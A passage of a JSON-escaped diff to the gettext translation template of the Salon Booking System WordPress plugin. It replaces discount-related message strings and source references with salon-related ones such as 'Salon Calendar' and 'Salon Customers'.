build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FMetabox\u002FDiscount.php:44, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FMetabox\u002FDiscount.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FMetabox\u002FDiscount.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FMetabox\u002FDiscount.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FMetabox\u002FDiscount.php:44\n-msgid \"&nbsp\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_holiday_row.php:231\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_availability_row.php:19\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:22\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_holiday_row.php:231\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:19\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:22\n+msgid \"Rule\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FMetabox\u002FDiscount.php:55, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FMetabox\u002FDiscount.php:55, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FMetabox\u002FDiscount.php:55, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FMetabox\u002FDiscount.php:55, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FMetabox\u002FDiscount.php:55, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FMetabox\u002FDiscount.php:55\n-msgid \"Discount usage history\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fnotice\u002Fhtml_notice_update.php:12\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fnotice\u002Fhtml_notice_update.php:12\n+msgid \"Run the updater\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FPostType\u002FDiscount.php:66, views\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:23, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:66, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:23, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:66, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:66, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:66, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:66, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:23\n-msgid \"Type\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPrivacy.php:59\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:671\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:253\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:247\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:209\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:235\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPrivacy.php:59\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:671\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:253\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:247\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:209\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:235\n+msgid \"Salon\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FPostType\u002FDiscount.php:69, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:69, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:69, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:69, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:69, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:69\n-msgid \"Discount usages\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:63\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:63\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:63\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:63\n+msgid \"Salon address\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FPostType\u002FDiscount.php:93, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:93, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:93, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:93, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:93, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:93\n-msgid \"No\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:248\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:248\n+msgid \"Salon Assistant\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FPostType\u002FDiscount.php:90, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:90, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:90\n-msgid \"Yes\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:64\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:672\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:64\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:672\n+msgid \"Salon Booking\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FPostType\u002FDiscount.php:107, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:107, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:107, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:107, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:107, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:107\n-msgid \"Enter discount name\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Flicense\u002Fadmin.php:5\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Flicense\u002Fadmin.php:5\n+msgid \"Salon booking plugin needs a valid license\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FPostType\u002FDiscount.php:118, src\u002FSLB_Discount\u002FPostType\u002FDiscount.php:122, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:118, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:122, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:118, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:122, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:118, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:122, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:118, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:122, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:118, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:122\n-msgid \"Discount updated.\"\n+#. Author of the plugin\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002Ftemplate.php:162\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fcontainer.php:86\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Ftemplate.php:162\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fcontainer.php:86\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account.php:16\n+msgid \"Salon Booking System\"\n msgstr \"\"\n \n-#. translators: %s will be replaced by the revision title\n-#: src\u002FSLB_Discount\u002FPostType\u002FDiscount.php:125, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:125, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:125, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:125, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:125, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:125\n-msgid \"Discount restored to revision from %s\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fcancel_booking.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fcancel_booking.php:14\n+msgid \"Salon Booking System - Booking Cancellation\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FPostType\u002FDiscount.php:129, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:129, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:129, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:129, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:129, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:129\n-msgid \"Discount published.\"\n+#. Name of the plugin\n+msgid \"Salon Booking System - Free Version\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FPostType\u002FDiscount.php:131, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:131, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:131, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:131, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:131, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:131\n-msgid \"Discount saved.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:17\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:8\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:17\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:8\n+msgid \"Salon Booking System required pages\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FPostType\u002FDiscount.php:133, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:133, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:133, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:133, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:133, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:133\n-msgid \"Discount submitted.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002Fweekly_report.php:10\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fweekly_report.php:10\n+msgid \"Salon Booking weekly report\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FPostType\u002FDiscount.php:137, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:137, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:137, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:137, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:137, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:137\n-msgid \"Discount draft updated.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:23\n+msgid \"Salon Calendar\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInstall.php:36\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInstall.php:36\n+msgid \"Salon customer\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers.php:16\n+msgid \"Salon Customers\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FPostType\u002FDiscount.php:163, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:163, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:163, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:163, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:163, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:163\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fnotice\u002Fhtml_notice_update.php:6\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fnotice\u002Fhtml_notice_update.php:6\n+msgid \"Salon Data Update Required\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:236\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:236\n msgid \"Salon Discount\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FPostType\u002FDiscount.php:165, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:165, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:165, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:165, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:165, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:165\n-msgid \"Add Discount\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:65\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:65\n+msgid \"Salon email\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FPostType\u002FDiscount.php:166, 